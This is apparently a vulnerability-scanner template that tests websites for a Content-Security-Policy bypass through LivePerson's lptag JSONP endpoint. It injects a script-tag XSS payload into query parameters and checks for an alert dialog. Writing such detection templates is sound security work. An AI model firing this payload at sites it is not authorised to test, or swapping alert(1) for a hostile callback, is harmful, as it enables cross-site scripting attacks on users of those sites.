liveperson-lptag-csp-bypass: Content-Security-Policy Bypass - LivePerson LPTAG

id: liveperson-lptag-csp-bypass

info:
  name: Content-Security-Policy Bypass - LivePerson LPTAG
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,liveperson-lptag,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "liveperson.net"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: liveperson_lptag_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://lptag.liveperson.net/lptag/api/account/1/configuration/applications/taglets/.jsonp?v=2.0&cb=alert(1)-"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "liveperson_lptag_csp_xss == true"
# digest: 490a00463044022079c340ff78cd4188a280b1938ac95afd35f9ee1127076cb18aece86a2084620802204e069aae55db8d54d584800f2b77c7577c2cc651b5f8c1f75e034093c6576e05:922c64590222798bb761d5b6d8e72950